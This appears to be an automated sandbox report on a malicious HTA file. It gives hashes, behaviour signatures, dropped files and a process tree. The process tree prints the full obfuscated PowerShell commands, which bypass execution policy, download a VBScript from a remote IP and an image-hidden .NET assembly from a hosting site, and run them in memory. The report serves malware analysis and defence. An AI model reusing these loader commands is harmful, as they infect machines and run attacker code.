Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    04-02-2025 14:25

General

  • Target

    sheisbestforbetterforgoodthingstogetbackbetterthingsforgood.hta

  • Size

    14KB

  • MD5

    b6572f3c40c7c1f48cf6d3cf6383e58d

  • SHA1

    ef572061a9b3a4bf0a1b1df74357edc4f810c039

  • SHA256

    53567cc7f7c6d7d1538b06ce9bc2d61b262c5fe0b491afcbb68b042e4ecb1128

  • SHA512

    1df142f5f3e71a93d41452ae666003c173de45395501c75dd9405813ec10600e5f674e5647e6c1b6f7f53b90e5b2687c951c4fecc2e19332bc93a614e3efd8f0

  • SSDEEP

    96:fLgCkOWCkoT+aKau28uaDrUgrUCicCkbZ+:0CkVCkoT+aKarp/kCkk

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\sheisbestforbetterforgoodthingstogetbackbetterthingsforgood.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:3012
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c pOWershell.exe -ex bypASS -NOP -w 1 -C DeviCECredEnTiaLdeploYmeNt ; iEX($(IEx('[sYStEM.TEXT.encOdinG]'+[cHar]0x3a+[ChAR]0X3a+'UtF8.GetstrING([SYSTeM.CoNVERt]'+[chaR]0X3a+[chAr]0X3A+'fROMbASe64sTrING('+[ChAr]34+'JEdrb1B4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWRjLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExvS2Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdWlDeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1ZzdFpkblYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWJPY0x4KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiWU5aIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGb3VoICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHa29QeDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy43Mi80MzAvZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29kLmdJRiIsIiRlTnY6QVBQREFUQVxnb29kZ2lybGFsd2F5c2JlYWdvb2RnaXJsd2l0aGJldHRlcnBlcnNvbmdvb2dpcmx3aXRoLnZicyIsMCwwKTtTdEFSVC1zbGVFcCgzKTtJbnZPa2UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29naXJsd2l0aC52YnMi'+[ChAr]34+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:316
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOWershell.exe -ex bypASS -NOP -w 1 -C DeviCECredEnTiaLdeploYmeNt ; iEX($(IEx('[sYStEM.TEXT.encOdinG]'+[cHar]0x3a+[ChAR]0X3a+'UtF8.GetstrING([SYSTeM.CoNVERt]'+[chaR]0X3a+[chAr]0X3A+'fROMbASe64sTrING('+[ChAr]34+'JEdrb1B4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWRjLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExvS2Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdWlDeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1ZzdFpkblYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWJPY0x4KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiWU5aIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGb3VoICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHa29QeDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy43Mi80MzAvZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29kLmdJRiIsIiRlTnY6QVBQREFUQVxnb29kZ2lybGFsd2F5c2JlYWdvb2RnaXJsd2l0aGJldHRlcnBlcnNvbmdvb2dpcmx3aXRoLnZicyIsMCwwKTtTdEFSVC1zbGVFcCgzKTtJbnZPa2UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29naXJsd2l0aC52YnMi'+[ChAr]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:544
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gcvyt6vc.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2724
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES97ED.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC97EC.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2760
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\goodgirlalwaysbeagoodgirlwithbetterpersongoogirlwith.vbs"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2912
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AZQBpAHQAcwBlAGIAeQBtAHIAbwBmAGQAbwBvAGcAcwBzAGUAbgB0AGEAZQByAGcAaAB0AGkAdwBzAGcAbgBpAGgAdAB0AHMAZQBiAGUAaAB0AGUAZQBzAC8AMAAzADQALwAyADcALgA3AC4AOAA2ADEALgA0ADAAMQAvAC8AOgBwAHQAdABoACcAOwAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAFQAZQB4AHQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGkAbQBhAGcAZQBVAHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAYQB4AHcAdQBhADYAMwB5AC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADgAMwAzADQANQAzADMALwBhAGwAYwBiADQAaAB0AG8AbAB6AHYAZgBoAHoAegB1AGYAcQBoADUALgBqAHAAZwAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAG0AYQBpAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAZgBhAGwAcwBlACcALAAnAEMAYQBzAFAAbwBsACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2704

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabB444.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES97ED.tmp

    Filesize

    1KB

    MD5

    0d49aa61c59d9830269af3f2c1d9ee39

    SHA1

    884f1750f2ffacf42767829f5f28925ab333539f

    SHA256

    ad147c3f1cb57562f62dd4c70cf365624a6e4b626b04b72d12b800c1d6f28464

    SHA512

    26e6cc5320b95b63beddf049b298991a12422345ea259b3aefdadbf158647748f8a31e874504790ff2cfe67c39b805e155283eeaa0c247d0e27fd8a84265ccc2

  • C:\Users\Admin\AppData\Local\Temp\TarB476.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\gcvyt6vc.dll

    Filesize

    3KB

    MD5

    738ca3d2ac58e4c1e843f5c8e8e8ac0a

    SHA1

    40fbab7bb9aca5ad539d5002b68eb049d9ea9803

    SHA256

    22c6e4906997c9eabcb453108fd3354cffcc34377f10295248db2b121148ceb7

    SHA512

    9cacb6c28beb522c41c7dd4554859545eed5408bec2f7077460e2707dd8119f86dad94c34d34542df7607502bc20d209c0f459a6ecbefcbe90e818c4d75dfbe7

  • C:\Users\Admin\AppData\Local\Temp\gcvyt6vc.pdb

    Filesize

    7KB

    MD5

    b2c1abe1877f5066e81276a793014b46

    SHA1

    c9f57a5d7a5e7d056752f6887def4eef5dd63d2f

    SHA256

    e5cdf9f294d87fe6ec031964430fe65c7f7abf110f696fdb82c0b3edc5e1bf15

    SHA512

    96a599f23c33b615d6bd3669353f513f57374ade1be38dca7b4e505083fdd3b13041690ce1f72b9222c3f298b39c081b247043f8068d4902bdc79d5be52625af

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    b49a5281ff710fadf3b779066a5002e5

    SHA1

    184327cdd65a71979d2cce1604e201abea6f1733

    SHA256

    b7d8f728f2ccf9f8c9363357959911c06366990eecddeae8dc130bdccd6e6919

    SHA512

    9d8c51049c081adbd219f33707d4af8bf3825dc40755b92ac24c39bf8cc9b862ff2f54cf8093b87411852ec1fbbe4e94cef128905ddad2d0ac8d44c102d422c3

  • C:\Users\Admin\AppData\Roaming\goodgirlalwaysbeagoodgirlwithbetterpersongoogirlwith.vbs

    Filesize

    223KB

    MD5

    333ba8d914c321df855e5b74274f38d0

    SHA1

    e5d512a9c1d7c5be82bf4fd4e9b5dea83793ca79

    SHA256

    048099ca7e2e55ad822eb367fcc5b7e5ecf98557651825a03c34ca8373120139

    SHA512

    50699c6433d0d541658d8a419f3a240b49c60b06352fc5f9d61008decf647f03e40a2afcc20c1ba5855ae34eb7c45dec52c4f7ab46d81bafa9e7be83a006fe7f

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC97EC.tmp

    Filesize

    652B

    MD5

    a3af4855061fe0bcdd5b469c1dfc0097

    SHA1

    2d442fa8892778a69ea08f16c0d31d834594e754

    SHA256

    81fc67058c81f544600ad9e18458482a88a1eab46831f845c5f278480be19df7

    SHA512

    30c27c143a15db34801b5c6475d77cfa848ab75cbc590ab8b5aca123d275000b13d0ae593d53e9e47aaa3177e6b514d0af6a264e946a02b876d14159c9f58ed0

  • \??\c:\Users\Admin\AppData\Local\Temp\gcvyt6vc.0.cs

    Filesize

    465B

    MD5

    7da95fb8f830258ef72b0f5c7b4d425c

    SHA1

    c625a70e4f81b9e04b7d95479e37c90e9c8f4f71

    SHA256

    59fb5ee2f23beec8c2623d2686a7b52d2eaf786f90869990d525facc2a2da7fa

    SHA512

    039be9d1aabc4e450ab1ffe219425f21e3938fc530899863908c4900545275d5468659fd1cd0665a05d521f81eca17417b8f82e8eea102ddca08c0c82cc05926

  • \??\c:\Users\Admin\AppData\Local\Temp\gcvyt6vc.cmdline

    Filesize

    309B

    MD5

    72e666ebef676e4a3d9a101855fd0240

    SHA1

    d2fdc773c7c18d9e073686a8e516f946b450d8bd

    SHA256

    8d9ed5cef70790486be178eeb7aca3c5067a5330790c83be36309876f558c418

    SHA512

    a0145e9f665ca2dc0ac3796e7247637365e3f2bdf8a4da0e41bdada9454eb77aa62633c53c626211098a6a82e8489b5317c93af3ffb34510075ffd60670d0c7c